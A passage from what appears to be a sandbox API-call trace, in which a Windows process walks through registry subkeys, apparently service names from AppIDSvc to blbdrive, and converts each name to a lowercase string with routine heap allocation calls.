Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.212] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0214.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0214.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0214.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.218] RtlAllocateHeap (HeapHandle=0x2520000, 